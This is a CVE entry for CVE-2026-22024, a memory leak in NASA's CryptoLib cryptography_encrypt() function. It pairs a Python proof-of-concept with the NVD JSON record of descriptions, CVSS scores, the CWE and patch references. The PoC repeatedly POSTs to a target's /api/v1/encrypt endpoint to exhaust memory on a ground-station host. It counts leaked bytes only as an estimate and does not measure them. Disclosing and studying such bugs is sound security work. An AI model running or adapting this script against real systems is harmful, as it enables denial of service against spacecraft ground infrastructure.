CVE-2026-22024

#!/usr/bin/env python3 """ CVE-2026-22024 PoC - CryptoLib Memory Leak This PoC demonstrates the memory leak in CryptoLib's cryptography_encrypt() function. Each call to the encryption function leaks approximately 400 bytes of memory. """ import requests import time import sys def trigger_memory_leak(target_url, iterations=1000): """ Trigger the memory leak by repeatedly calling the encryption endpoint. Args: target_url: URL of the vulnerable CryptoLib endpoint iterations: Number of times to trigger the leak """ print(f"[*] Starting memory leak test against {target_url}") print(f"[*] Target iterations: {iterations}") leaked_bytes = 0 bytes_per_leak = 400 for i in range(iterations): try: # Trigger the vulnerable cryptography_encrypt() function response = requests.post( f"{target_url}/api/v1/encrypt", json={ "spacecraft_id": "SAT-001", "payload": "test_data", "timestamp": int(time.time()) }, timeout=5 ) leaked_bytes += bytes_per_leak if (i + 1) % 100 == 0: print(f"[*] Iteration {i + 1}/{iterations} - Estimated leaked: {leaked_bytes} bytes") except requests.exceptions.RequestException as e: print(f"[!] Request failed at iteration {i + 1}: {e}") continue print(f"[+] Test complete. Estimated total leaked: {leaked_bytes} bytes") print(f"[+] After {iterations} calls, system memory would be significantly depleted") return leaked_bytes if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_22024_poc.py <target_url>") print("Example: python cve_2026_22024_poc.py http://vulnerable-groundstation.local") sys.exit(1) target = sys.argv[1] trigger_memory_leak(target, iterations=1000)

{"cve": {"id": "CVE-2026-22024", "sourceIdentifier": "[email protected]", "published": "2026-01-10T01:16:18.553", "lastModified": "2026-01-16T16:44:36.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to version 1.4.3, the cryptography_encrypt() function allocates multiple buffers for HTTP requests and JSON parsing that are never freed on any code path. Each call leaks approximately 400 bytes of memory. Sustained traffic can gradually exhaust available memory. This issue has been patched in version 1.4.3."}, {"lang": "es", "value": "CryptoLib proporciona una solución únicamente de software utilizando el Protocolo de Seguridad de Enlace de Datos Espaciales CCSDS - Procedimientos Extendidos (SDLS-EP) para asegurar las comunicaciones entre una nave espacial que ejecuta el Sistema de Vuelo central (cFS) y una estación terrestre. Antes de la versión 1.4.3, la función cryptography_encrypt() asigna múltiples búferes para solicitudes HTTP y análisis JSON que nunca se liberan en ninguna ruta de código. Cada llamada filtra aproximadamente 400 bytes de memoria. El tráfico sostenido puede agotar gradualmente la memoria disponible. Este problema ha sido parcheado en la versión 1.4.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasa:cryptolib:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3", "matchCriteriaId": "AE1BE91E-2901-42AF-BC66-762CFA7A2582"}]}]}], "references": [{"url": "https://github.com/nasa/CryptoLib/commit/2372efd3da1ccb226b4297222e25f41ecc84821d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nasa/CryptoLib/releases/tag/v1.4.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-r3wg-g8xv-gxvf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-r3wg-g8xv-gxvf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}